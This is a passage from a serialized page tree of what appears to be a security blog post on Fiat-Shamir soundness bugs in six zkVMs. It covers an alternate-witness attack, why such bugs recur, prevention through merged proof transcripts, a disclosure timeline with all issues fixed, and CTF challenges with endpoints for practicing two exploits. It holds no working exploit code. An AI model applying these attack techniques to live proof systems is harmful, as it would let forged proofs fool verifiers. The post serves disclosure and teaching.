[2403,2452],[120582,120588,120593],{"type":20,"tag":315,"props":120583,"children":120586},{"className":120584,"style":120585},[2403,19992,2452],"margin-right:0.02691em;",[120587],{"type":26,"value":47823},{"type":20,"tag":315,"props":120589,"children":120591},{"className":120590},[2515,2452],[120592],{"type":26,"value":2518},{"type":20,"tag":315,"props":120594,"children":120596},{"className":120595},[2403,19992,2452],[120597],{"type":26,"value":1604},{"type":20,"tag":315,"props":120599,"children":120601},{"className":120600},[20149],[120602],{"type":26,"value":20152},{"type":20,"tag":315,"props":120604,"children":120606},{"className":120605},[2429],[120607],{"type":20,"tag":315,"props":120608,"children":120610},{"className":120609,"style":112543},[2434],[120611],{"type":20,"tag":315,"props":120612,"children":120613},{},[],{"type":20,"tag":315,"props":120615,"children":120617},{"className":120616,"style":2522},[2483],[],{"type":20,"tag":315,"props":120619,"children":120621},{"className":120620},[2403],[120622],{"type":20,"tag":315,"props":120623,"children":120625},{"className":120624},[2403,26],[120626],{"type":20,"tag":315,"props":120627,"children":120629},{"className":120628},[2403],[120630],{"type":26,"value":59929},{"type":20,"tag":315,"props":120632,"children":120634},{"className":120633},[20121],[120635],{"type":26,"value":2117},{"type":20,"tag":315,"props":120637,"children":120639},{"className":120638,"style":120585},[2403,19992],[120640],{"type":26,"value":47823},{"type":20,"tag":315,"props":120642,"children":120644},{"className":120643},[20143],[120645],{"type":26,"value":13812},{"type":20,"tag":315,"props":120647,"children":120649},{"className":120648},[20121],[120650],{"type":26,"value":2117},{"type":20,"tag":315,"props":120652,"children":120654},{"className":120653},[2403,19992],[120655],{"type":26,"value":1604},{"type":20,"tag":315,"props":120657,"children":120659},{"className":120658},[20143],[120660],{"type":26,"value":13812},{"type":20,"tag":315,"props":120662,"children":120664},{"className":120663,"style":2484},[2483],[],{"type":20,"tag":315,"props":120666,"children":120668},{"className":120667},[2489],[120669],{"type":26,"value":109567},{"type":20,"tag":315,"props":120671,"children":120673},{"className":120672,"style":2484},[2483],[],{"type":20,"tag":315,"props":120675,"children":120677},{"className":120676},[2392],[120678,120683,120692,120697,120702,120707,120711,120768,120773,120777,120782],{"type":20,"tag":315,"props":120679,"children":120682},{"className":120680,"style":120681},[2397],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":20,"tag":315,"props":120684,"children":120686},{"className":120685},[2403,26],[120687],{"type":20,"tag":315,"props":120688,"children":120690},{"className":120689},[2403],[120691],{"type":26,"value":110894},{"type":20,"tag":315,"props":120693,"children":120695},{"className":120694},[20121],[120696],{"type":26,"value":1049},{"type":20,"tag":315,"props":120698,"children":120700},{"className":120699},[2403,19992],[120701],{"type":26,"value":1604},{"type":20,"tag":315,"props":120703,"children":120705},{"className":120704},[2515],[120706],{"type":26,"value":2518},{"type":20,"tag":315,"props":120708,"children":120710},{"className":120709,"style":2522},[2483],[],{"type":20,"tag":315,"props":120712,"children":120714},{"className":120713},[2403],[120715,120720],{"type":20,"tag":315,"props":120716,"children":120718},{"className":120717,"style":91305},[2403,19992],[120719],{"type":26,"value":92124},{"type":20,"tag":315,"props":120721,"children":120723},{"className":120722},[2419],[120724],{"type":20,"tag":315,"props":120725,"children":120727},{"className":120726},[2424,20046],[120728,120757],{"type":20,"tag":315,"props":120729,"children":120731},{"className":120730},[2429],[120732,120752],{"type":20,"tag":315,"props":120733,"children":120735},{"className":120734,"style":91834},[2434],[120736],{"type":20,"tag":315,"props":120737,"children":120738},{"style":108304},[120739,120743],{"type":20,"tag":315,"props":120740,"children":120742},{"className":120741,"style":2444},[2443],[],{"type":20,"tag":315,"props":120744,"children":120746},{"className":120745},[2449,2450,2451,2452],[120747],{"type":20,"tag":315,"props":120748,"children":120750},{"className":120749,"style":112528},[2403,19992,2452],[120751],{"type":26,"value":7052},{"type":20,"tag":315,"props":120753,"children":120755},{"className":120754},[20149],[120756],{"type":26,"value":20152},{"type":20,"tag":315,"props":120758,"children":120760},{"className":120759},[2429],[120761],{"type":20,"tag":315,"props":120762,"children":120764},{"className":120763,"style":117215},[2434],[120765],{"type":20,"tag":315,"props":120766,"children":120767},{},[],{"type":20,"tag":315,"props":120769,"children":120771},{"className":120770},[20143],[120772],{"type":26,"value":1509},{"type":20,"tag":315,"props":120774,"children":120776},{"className":120775,"style":2484},[2483],[],{"type":20,"tag":315,"props":120778,"children":120780},{"className":120779},[2489],[120781],{"type":26,"value":109567},{"type":20,"tag":315,"props":120783,"children":120785},{"className":120784,"style":2484},[2483],[],{"type":20,"tag":315,"props":120787,"children":120789},{"className":120788},[2392],[120790,120794,120803,120808,120813,120818,120822,120832,120837,120846,120851,120860],{"type":20,"tag":315,"props":120791,"children":120793},{"className":120792,"style":91247},[2397],[],{"type":20,"tag":315,"props":120795,"children":120797},{"className":120796},[2403,26],[120798],{"type":20,"tag":315,"props":120799,"children":120801},{"className":120800},[2403],[120802],{"type":26,"value":110894},{"type":20,"tag":315,"props":120804,"children":120806},{"className":120805},[20121],[120807],{"type":26,"value":1049},{"type":20,"tag":315,"props":120809,"children":120811},{"className":120810,"style":120585},[2403,19992],[120812],{"type":26,"value":47823},{"type":20,"tag":315,"props":120814,"children":120816},{"className":120815},[2515],[120817],{"type":26,"value":2518},{"type":20,"tag":315,"props":120819,"children":120821},{"className":120820,"style":2522},[2483],[],{"type":20,"tag":315,"props":120823,"children":120825},{"className":120824},[2403,26],[120826],{"type":20,"tag":315,"props":120827,"children":120829},{"className":120828},[2403],[120830],{"type":26,"value":120831},"inout",{"type":20,"tag":315,"props":120833,"children":120835},{"className":120834,"style":91305},[2403],[120836],{"type":26,"value":1463},{"type":20,"tag":315,"props":120838,"children":120840},{"className":120839},[2403,26],[120841],{"type":20,"tag":315,"props":120842,"children":120844},{"className":120843},[2403],[120845],{"type":26,"value":35964},{"type":20,"tag":315,"props":120847,"children":120849},{"className":120848,"style":91305},[2403],[120850],{"type":26,"value":1463},{"type":20,"tag":315,"props":120852,"children":120854},{"className":120853},[2403,26],[120855],{"type":20,"tag":315,"props":120856,"children":120858},{"className":120857},[2403],[120859],{"type":26,"value":116090},{"type":20,"tag":315,"props":120861,"children":120863},{"className":120862},[20143],[120864],{"type":26,"value":1509},{"type":20,"tag":29,"props":120866,"children":120867},{},[120868,120870,120875,120877,120950],{"type":26,"value":120869},"With challenges fixed (independent of ",{"type":20,"tag":119,"props":120871,"children":120873},{"className":120872},[],[120874],{"type":26,"value":59929},{"type":26,"value":120876},"), an attacker can find an alternate witness ",{"type":20,"tag":119,"props":120878,"children":120880},{"className":120879},[2375,2376],[120881],{"type":20,"tag":315,"props":120882,"children":120884},{"className":120883},[2381],[120885],{"type":20,"tag":315,"props":120886,"children":120888},{"className":120887,"ariaHidden":2387},[2386],[120889],{"type":20,"tag":315,"props":120890,"children":120892},{"className":120891},[2392],[120893,120898],{"type":20,"tag":315,"props":120894,"children":120897},{"className":120895,"style":120896},[2397],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":120899,"children":120901},{"className":120900},[2403],[120902,120911],{"type":20,"tag":315,"props":120903,"children":120905},{"className":120904},[2403,26],[120906],{"type":20,"tag":315,"props":120907,"children":120909},{"className":120908},[2403],[120910],{"type":26,"value":59929},{"type":20,"tag":315,"props":120912,"children":120914},{"className":120913},[2419],[120915],{"type":20,"tag":315,"props":120916,"children":120918},{"className":120917},[2424],[120919],{"type":20,"tag":315,"props":120920,"children":120922},{"className":120921},[2429],[120923],{"type":20,"tag":315,"props":120924,"children":120927},{"className":120925,"style":120926},[2434],"height:0.8362em;",[120928],{"type":20,"tag":315,"props":120929,"children":120931},{"style":120930},"top:-3.1473em;margin-right:0.05em;",[120932,120936],{"type":20,"tag":315,"props":120933,"children":120935},{"className":120934,"style":2444},[2443],[],{"type":20,"tag":315,"props":120937,"children":120939},{"className":120938},[2449,2450,2451,2452],[120940],{"type":20,"tag":315,"props":120941,"children":120943},{"className":120942},[2403,2452],[120944],{"type":20,"tag":315,"props":120945,"children":120947},{"className":120946},[2403,2452],[120948],{"type":26,"value":120949},"′",{"type":26,"value":120951}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":20,"tag":29,"props":120953,"children":120954},{},[120955,120959,120961],{"type":20,"tag":3717,"props":120956,"children":120957},{},[120958],{"type":26,"value":115015},{"type":26,"value":120960}," Fixed on December 29, 2025 via ",{"type":20,"tag":35,"props":120962,"children":120965},{"href":120963,"rel":120964},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[39],[120966],{"type":26,"value":120967},"commit 86a515f",{"type":20,"tag":17197,"props":120969,"children":120970},{},[],{"type":20,"tag":21,"props":120972,"children":120974},{"id":120973},"why-does-this-keep-happening",[120975],{"type":26,"value":120976},"Why Does This Keep Happening?",{"type":20,"tag":29,"props":120978,"children":120979},{},[120980],{"type":26,"value":120981},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":20,"tag":219,"props":120983,"children":120985},{"id":120984},"academic-papers-dont-specify-fiat-shamir",[120986],{"type":26,"value":120987},"Academic Papers Don't Specify Fiat-Shamir",{"type":20,"tag":29,"props":120989,"children":120990},{},[120991,120993,120998,121000,121025,121027,121030,121032,121057,121059,121086],{"type":26,"value":120992},"Academic papers usually describe ",{"type":20,"tag":55,"props":120994,"children":120995},{},[120996],{"type":26,"value":120997},"interactive",{"type":26,"value":120999}," protocols: \"Prover sends ",{"type":20,"tag":119,"props":121001,"children":121003},{"className":121002},[2375,2376],[121004],{"type":20,"tag":315,"props":121005,"children":121007},{"className":121006},[2381],[121008],{"type":20,"tag":315,"props":121009,"children":121011},{"className":121010,"ariaHidden":2387},[2386],[121012],{"type":20,"tag":315,"props":121013,"children":121015},{"className":121014},[2392],[121016,121020],{"type":20,"tag":315,"props":121017,"children":121019},{"className":121018,"style":19987},[2397],[],{"type":20,"tag":315,"props":121021,"children":121023},{"className":121022,"style":20524},[2403,19992],[121024],{"type":26,"value":114534},{"type":26,"value":121026},". Verifier sends",{"type":20,"tag":29384,"props":121028,"children":121029},{},[],{"type":26,"value":121031},"random ",{"type":20,"tag":119,"props":121033,"children":121035},{"className":121034},[2375,2376],[121036],{"type":20,"tag":315,"props":121037,"children":121039},{"className":121038},[2381],[121040],{"type":20,"tag":315,"props":121041,"children":121043},{"className":121042,"ariaHidden":2387},[2386],[121044],{"type":20,"tag":315,"props":121045,"children":121047},{"className":121046},[2392],[121048,121052],{"type":20,"tag":315,"props":121049,"children":121051},{"className":121050,"style":109146},[2397],[],{"type":20,"tag":315,"props":121053,"children":121055},{"className":121054,"style":91305},[2403,19992],[121056],{"type":26,"value":92124},{"type":26,"value":121058},". Prover sends ",{"type":20,"tag":119,"props":121060,"children":121062},{"className":121061},[2375,2376],[121063],{"type":20,"tag":315,"props":121064,"children":121066},{"className":121065},[2381],[121067],{"type":20,"tag":315,"props":121068,"children":121070},{"className":121069,"ariaHidden":2387},[2386],[121071],{"type":20,"tag":315,"props":121072,"children":121074},{"className":121073},[2392],[121075,121079],{"type":20,"tag":315,"props":121076,"children":121078},{"className":121077,"style":19987},[2397],[],{"type":20,"tag":315,"props":121080,"children":121083},{"className":121081,"style":121082},[2403,19992],"margin-right:0.00773em;",[121084],{"type":26,"value":121085},"R",{"type":26,"value":121087},".\"",{"type":20,"tag":29,"props":121089,"children":121090},{},[121091,121093,121118,121120,121145],{"type":26,"value":121092},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":20,"tag":119,"props":121094,"children":121096},{"className":121095},[2375,2376],[121097],{"type":20,"tag":315,"props":121098,"children":121100},{"className":121099},[2381],[121101],{"type":20,"tag":315,"props":121102,"children":121104},{"className":121103,"ariaHidden":2387},[2386],[121105],{"type":20,"tag":315,"props":121106,"children":121108},{"className":121107},[2392],[121109,121113],{"type":20,"tag":315,"props":121110,"children":121112},{"className":121111,"style":19987},[2397],[],{"type":20,"tag":315,"props":121114,"children":121116},{"className":121115,"style":20524},[2403,19992],[121117],{"type":26,"value":114534},{"type":26,"value":121119}," before sampling ",{"type":20,"tag":119,"props":121121,"children":121123},{"className":121122},[2375,2376],[121124],{"type":20,"tag":315,"props":121125,"children":121127},{"className":121126},[2381],[121128],{"type":20,"tag":315,"props":121129,"children":121131},{"className":121130,"ariaHidden":2387},[2386],[121132],{"type":20,"tag":315,"props":121133,"children":121135},{"className":121134},[2392],[121136,121140],{"type":20,"tag":315,"props":121137,"children":121139},{"className":121138,"style":109146},[2397],[],{"type":20,"tag":315,"props":121141,"children":121143},{"className":121142,"style":91305},[2403,19992],[121144],{"type":26,"value":92124},{"type":26,"value":121146},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":20,"tag":29,"props":121148,"children":121149},{},[121150],{"type":26,"value":121151},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":20,"tag":219,"props":121153,"children":121155},{"id":121154},"the-hot-potato-problem",[121156],{"type":26,"value":121157},"The Hot Potato Problem",{"type":20,"tag":29,"props":121159,"children":121160},{},[121161],{"type":26,"value":121162},"Modern zkVMs are modular:",{"type":20,"tag":29,"props":121164,"children":121165},{},[121166],{"type":20,"tag":2308,"props":121167,"children":121170},{"alt":121168,"src":121169},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":20,"tag":29,"props":121172,"children":121173},{},[121174],{"type":26,"value":121175},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":20,"tag":219,"props":121177,"children":121179},{"id":121178},"optimization-pressure",[121180],{"type":26,"value":121181},"Optimization Pressure",{"type":20,"tag":29,"props":121183,"children":121184},{},[121185],{"type":26,"value":121186},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":20,"tag":29,"props":121188,"children":121189},{},[121190],{"type":26,"value":121191},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":20,"tag":219,"props":121193,"children":121195},{"id":121194},"testing-doesnt-catch-adversarial-inputs",[121196],{"type":26,"value":121197},"Testing Doesn't Catch Adversarial Inputs",{"type":20,"tag":29,"props":121199,"children":121200},{},[121201],{"type":26,"value":121202},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":20,"tag":17197,"props":121204,"children":121205},{},[],{"type":20,"tag":21,"props":121207,"children":121209},{"id":121208},"how-to-find-and-fix-these-bugs",[121210],{"type":26,"value":121211},"How to Find and Fix These Bugs",{"type":20,"tag":219,"props":121213,"children":121215},{"id":121214},"prevention",[121216],{"type":26,"value":121217},"Prevention",{"type":20,"tag":29,"props":121219,"children":121220},{},[121221],{"type":26,"value":121222},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":20,"tag":29,"props":121224,"children":121225},{},[121226],{"type":26,"value":121227},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":20,"tag":29,"props":121229,"children":121230},{},[121231],{"type":26,"value":121232},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":20,"tag":29,"props":121234,"children":121235},{},[121236],{"type":26,"value":121237},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":20,"tag":29,"props":121239,"children":121240},{},[121241],{"type":26,"value":121242},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":20,"tag":17197,"props":121244,"children":121245},{},[],{"type":20,"tag":21,"props":121247,"children":121249},{"id":121248},"responsible-disclosure-timeline",[121250],{"type":26,"value":121251},"Responsible Disclosure Timeline",{"type":20,"tag":53997,"props":121253,"children":121254},{},[121255,121283],{"type":20,"tag":121256,"props":121257,"children":121258},"thead",{},[121259],{"type":20,"tag":121260,"props":121261,"children":121262},"tr",{},[121263,121268,121273,121278],{"type":20,"tag":121264,"props":121265,"children":121266},"th",{},[121267],{"type":26,"value":21613},{"type":20,"tag":121264,"props":121269,"children":121270},{},[121271],{"type":26,"value":121272},"Reported",{"type":20,"tag":121264,"props":121274,"children":121275},{},[121276],{"type":26,"value":121277},"Fixed",{"type":20,"tag":121264,"props":121279,"children":121280},{},[121281],{"type":26,"value":121282},"Response Time",{"type":20,"tag":121284,"props":121285,"children":121286},"tbody",{},[121287,121310,121331,121351,121373,121394],{"type":20,"tag":121260,"props":121288,"children":121289},{},[121290,121295,121300,121305],{"type":20,"tag":121291,"props":121292,"children":121293},"td",{},[121294],{"type":26,"value":106118},{"type":20,"tag":121291,"props":121296,"children":121297},{},[121298],{"type":26,"value":121299},"Sep 2025",{"type":20,"tag":121291,"props":121301,"children":121302},{},[121303],{"type":26,"value":121304},"Oct 3, 2025",{"type":20,"tag":121291,"props":121306,"children":121307},{},[121308],{"type":26,"value":121309},"\u003C1 week",{"type":20,"tag":121260,"props":121311,"children":121312},{},[121313,121317,121322,121327],{"type":20,"tag":121291,"props":121314,"children":121315},{},[121316],{"type":26,"value":106124},{"type":20,"tag":121291,"props":121318,"children":121319},{},[121320],{"type":26,"value":121321},"Oct 2025",{"type":20,"tag":121291,"props":121323,"children":121324},{},[121325],{"type":26,"value":121326},"Oct 24, 2025",{"type":20,"tag":121291,"props":121328,"children":121329},{},[121330],{"type":26,"value":121309},{"type":20,"tag":121260,"props":121332,"children":121333},{},[121334,121338,121342,121347],{"type":20,"tag":121291,"props":121335,"children":121336},{},[121337],{"type":26,"value":106130},{"type":20,"tag":121291,"props":121339,"children":121340},{},[121341],{"type":26,"value":121321},{"type":20,"tag":121291,"props":121343,"children":121344},{},[121345],{"type":26,"value":121346},"Oct 31, 2025",{"type":20,"tag":121291,"props":121348,"children":121349},{},[121350],{"type":26,"value":121309},{"type":20,"tag":121260,"props":121352,"children":121353},{},[121354,121358,121363,121368],{"type":20,"tag":121291,"props":121355,"children":121356},{},[121357],{"type":26,"value":106136},{"type":20,"tag":121291,"props":121359,"children":121360},{},[121361],{"type":26,"value":121362},"Nov 2025",{"type":20,"tag":121291,"props":121364,"children":121365},{},[121366],{"type":26,"value":121367},"Mar 5, 2026",{"type":20,"tag":121291,"props":121369,"children":121370},{},[121371],{"type":26,"value":121372},"~4 months",{"type":20,"tag":121260,"props":121374,"children":121375},{},[121376,121380,121385,121390],{"type":20,"tag":121291,"props":121377,"children":121378},{},[121379],{"type":26,"value":106148},{"type":20,"tag":121291,"props":121381,"children":121382},{},[121383],{"type":26,"value":121384},"Dec 2025",{"type":20,"tag":121291,"props":121386,"children":121387},{},[121388],{"type":26,"value":121389},"Dec 29, 2025",{"type":20,"tag":121291,"props":121391,"children":121392},{},[121393],{"type":26,"value":121309},{"type":20,"tag":121260,"props":121395,"children":121396},{},[121397,121401,121405,121410],{"type":20,"tag":121291,"props":121398,"children":121399},{},[121400],{"type":26,"value":106142},{"type":20,"tag":121291,"props":121402,"children":121403},{},[121404],{"type":26,"value":121362},{"type":20,"tag":121291,"props":121406,"children":121407},{},[121408],{"type":26,"value":121409},"Jan 21, 2026?",{"type":20,"tag":121291,"props":121411,"children":121412},{},[121413],{"type":26,"value":121414},"3 months",{"type":20,"tag":29,"props":121416,"children":121417},{},[121418],{"type":26,"value":121419},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":20,"tag":17197,"props":121421,"children":121422},{},[],{"type":20,"tag":21,"props":121424,"children":121426},{"id":121425},"challenges",[121427],{"type":26,"value":106161},{"type":20,"tag":29,"props":121429,"children":121430},{},[121431,121433],{"type":26,"value":121432},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":20,"tag":121434,"props":121435,"children":121436},"del",{},[121437],{"type":26,"value":121438},"the first 10 solvers will get a T-shirt.",{"type":20,"tag":29,"props":121440,"children":121441},{},[121442,121444,121497,121498,121754],{"type":26,"value":121443},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":20,"tag":119,"props":121445,"children":121447},{"className":121446},[2375,2376],[121448],{"type":20,"tag":315,"props":121449,"children":121451},{"className":121450},[2381],[121452],{"type":20,"tag":315,"props":121453,"children":121455},{"className":121454,"ariaHidden":2387},[2386],[121456],{"type":20,"tag":315,"props":121457,"children":121459},{"className":121458},[2392],[121460,121464,121469,121474,121478,121483,121488,121492],{"type":20,"tag":315,"props":121461,"children":121463},{"className":121462,"style":113360},[2397],[],{"type":20,"tag":315,"props":121465,"children":121467},{"className":121466},[2403,19992],[121468],{"type":26,"value":35},{"type":20,"tag":315,"props":121470,"children":121472},{"className":121471},[2515],[121473],{"type":26,"value":2518},{"type":20,"tag":315,"props":121475,"children":121477},{"className":121476,"style":2522},[2483],[],{"type":20,"tag":315,"props":121479,"children":121481},{"className":121480},[2403,19992],[121482],{"type":26,"value":1604},{"type":20,"tag":315,"props":121484,"children":121486},{"className":121485},[2515],[121487],{"type":26,"value":2518},{"type":20,"tag":315,"props":121489,"children":121491},{"className":121490,"style":2522},[2483],[],{"type":20,"tag":315,"props":121493,"children":121495},{"className":121494},[2403,19992],[121496],{"type":26,"value":1528},{"type":26,"value":107961},{"type":20,"tag":119,"props":121499,"children":121501},{"className":121500},[2375,2376],[121502],{"type":20,"tag":315,"props":121503,"children":121505},{"className":121504},[2381],[121506],{"type":20,"tag":315,"props":121507,"children":121509},{"className":121508,"ariaHidden":2387},[2386],[121510,121573,121635,121741],{"type":20,"tag":315,"props":121511,"children":121513},{"className":121512},[2392],[121514,121519,121560,121564,121569],{"type":20,"tag":315,"props":121515,"children":121518},{"className":121516,"style":121517},[2397],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":121520,"children":121522},{"className":121521},[2403],[121523,121528],{"type":20,"tag":315,"props":121524,"children":121526},{"className":121525},[2403,19992],[121527],{"type":26,"value":35},{"type":20,"tag":315,"props":121529,"children":121531},{"className":121530},[2419],[121532],{"type":20,"tag":315,"props":121533,"children":121535},{"className":121534},[2424],[121536],{"type":20,"tag":315,"props":121537,"children":121539},{"className":121538},[2429],[121540],{"type":20,"tag":315,"props":121541,"children":121543},{"className":121542,"style":2398},[2434],[121544],{"type":20,"tag":315,"props":121545,"children":121546},{"style":2438},[121547,121551],{"type":20,"tag":315,"props":121548,"children":121550},{"className":121549,"style":2444},[2443],[],{"type":20,"tag":315,"props":121552,"children":121554},{"className":121553},[2449,2450,2451,2452],[121555],{"type":20,"tag":315,"props":121556,"children":121558},{"className":121557},[2403,2452],[121559],{"type":26,"value":15698},{"type":20,"tag":315,"props":121561,"children":121563},{"className":121562,"style":2484},[2483],[],{"type":20,"tag":315,"props":121565,"children":121567},{"className":121566},[2489],[121568],{"type":26,"value":817},{"type":20,"tag":315,"props":121570,"children":121572},{"className":121571,"style":2484},[2483],[],{"type":20,"tag":315,"props":121574,"children":121576},{"className":121575},[2392],[121577,121581,121622,121626,121631],{"type":20,"tag":315,"props":121578,"children":121580},{"className":121579,"style":2398},[2397],[],{"type":20,"tag":315,"props":121582,"children":121584},{"className":121583},[2403],[121585,121590],{"type":20,"tag":315,"props":121586,"children":121588},{"className":121587},[2403,19992],[121589],{"type":26,"value":1604},{"type":20,"tag":315,"props":121591,"children":121593},{"className":121592},[2419],[121594],{"type":20,"tag":315,"props":121595,"children":121597},{"className":121596},[2424],[121598],{"type":20,"tag":315,"props":121599,"children":121601},{"className":121600},[2429],[121602],{"type":20,"tag":315,"props":121603,"children":121605},{"className":121604,"style":2398},[2434],[121606],{"type":20,"tag":315,"props":121607,"children":121608},{"style":2438},[121609,121613],{"type":20,"tag":315,"props":121610,"children":121612},{"className":121611,"style":2444},[2443],[],{"type":20,"tag":315,"props":121614,"children":121616},{"className":121615},[2449,2450,2451,2452],[121617],{"type":20,"tag":315,"props":121618,"children":121620},{"className":121619},[2403,2452],[121621],{"type":26,"value":15698},{"type":20,"tag":315,"props":121623,"children":121625},{"className":121624,"style":2581},[2483],[],{"type":20,"tag":315,"props":121627,"children":121629},{"className":121628},[2586],[121630],{"type":26,"value":337},{"type":20,"tag":315,"props":121632,"children":121634},{"className":121633,"style":2581},[2483],[],{"type":20,"tag":315,"props":121636,"children":121638},{"className":121637},[2392],[121639,121644,121685,121690,121694,121699,121704,121708,121713,121718,121722,121727,121731,121737],{"type":20,"tag":315,"props":121640,"children":121643},{"className":121641,"style":121642},[2397],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":121645,"children":121647},{"className":121646},[2403],[121648,121653],{"type":20,"tag":315,"props":121649,"children":121651},{"className":121650},[2403,19992],[121652],{"type":26,"value":1528},{"type":20,"tag":315,"props":121654,"children":121656},{"className":121655},[2419],[121657],{"type":20,"tag":315,"props":121658,"children":121660},{"className":121659},[2424],[121661],{"type":20,"tag":315,"props":121662,"children":121664},{"className":121663},[2429],[121665],{"type":20,"tag":315,"props":121666,"children":121668},{"className":121667,"style":2398},[2434],[121669],{"type":20,"tag":315,"props":121670,"children":121671},{"style":2438},[121672,121676],{"type":20,"tag":315,"props":121673,"children":121675},{"className":121674,"style":2444},[2443],[],{"type":20,"tag":315,"props":121677,"children":121679},{"className":121678},[2449,2450,2451,2452],[121680],{"type":20,"tag":315,"props":121681,"children":121683},{"className":121682},[2403,2452],[121684],{"type":26,"value":15698},{"type":20,"tag":315,"props":121686,"children":121688},{"className":121687},[2515],[121689],{"type":26,"value":2518},{"type":20,"tag":315,"props":121691,"children":121693},{"className":121692,"style":2522},[2483],[],{"type":20,"tag":315,"props":121695,"children":121697},{"className":121696},[2403,19992],[121698],{"type":26,"value":35},{"type":20,"tag":315,"props":121700,"children":121702},{"className":121701},[2515],[121703],{"type":26,"value":2518},{"type":20,"tag":315,"props":121705,"children":121707},{"className":121706,"style":2522},[2483],[],{"type":20,"tag":315,"props":121709,"children":121711},{"className":121710},[2403,19992],[121712],{"type":26,"value":1604},{"type":20,"tag":315,"props":121714,"children":121716},{"className":121715},[2515],[121717],{"type":26,"value":2518},{"type":20,"tag":315,"props":121719,"children":121721},{"className":121720,"style":2522},[2483],[],{"type":20,"tag":315,"props":121723,"children":121725},{"className":121724},[2403,19992],[121726],{"type":26,"value":1528},{"type":20,"tag":315,"props":121728,"children":121730},{"className":121729,"style":2581},[2483],[],{"type":20,"tag":315,"props":121732,"children":121734},{"className":121733},[2586],[121735],{"type":26,"value":121736},"≥",{"type":20,"tag":315,"props":121738,"children":121740},{"className":121739,"style":2581},[2483],[],{"type":20,"tag":315,"props":121742,"children":121744},{"className":121743},[2392],[121745,121749],{"type":20,"tag":315,"props":121746,"children":121748},{"className":121747,"style":92336},[2397],[],{"type":20,"tag":315,"props":121750,"children":121752},{"className":121751},[2403],[121753],{"type":26,"value":2406},{"type":26,"value":121755},". Good luck!",{"type":20,"tag":219,"props":121757,"children":121759},{"id":121758},"jolt",[121760],{"type":26,"value":106118},{"type":20,"tag":29,"props":121762,"children":121763},{},[121764,121766,121777,121779],{"type":26,"value":121765},"See ",{"type":20,"tag":35,"props":121767,"children":121774},{"href":121768,"target":121769,"rel":121770,"download":121773},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[121771,121772],"noopener","noreferrer","handout_jolt.tar.gz",[121775],{"type":26,"value":121776},"the handout",{"type":26,"value":121778}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":20,"tag":119,"props":121780,"children":121782},{"className":121781},[],[121783],{"type":26,"value":121784},"jolt.chal.osec.io:8960",{"type":20,"tag":219,"props":121786,"children":121788},{"id":121787},"nexus-1",[121789],{"type":26,"value":106124},{"type":20,"tag":29,"props":121791,"children":121792},{},[121793,121794,121801,121802],{"type":26,"value":121765},{"type":20,"tag":35,"props":121795,"children":121799},{"href":121796,"target":121769,"rel":121797,"download":121798},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[121771,121772],"handout_nexus.tar.gz",[121800],{"type":26,"value":121776},{"type":26,"value":121778},{"type":20,"tag":119,"props":121803,"children":121805},{"className":121804},[],[121806],{"type":26,"value":121807},"nexus.chal.osec.io:8950",{"type":20,"tag":29,"props":121809,"children":121810},{},[121811],{"type":26,"value":121812},"Now you should have enough margin to prove Fermat wrong.",{"type":20,"tag":17197,"props":121814,"children":121815},{},[],{"type":20,"tag":21,"props":121817,"children":121819},{"id":121818},"takeaways",[121820],{"type":26,"value":121821},"Takeaways",{"type":20,"tag":29,"props":121823,"children":121824},{},[121825],{"type":26,"value":121826},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":20,"tag":29,"props":121828,"children":121829},{},[121830],{"type":26,"value":121831},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":20,"tag":29,"props":121833,"children":121834},{},[121835,121840],{"type":20,"tag":3717,"props":121836,"children":121837},{},[121838],{"type":26,"value":121839},"For the ZK ecosystem:",{"type":26,"value":121841}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle 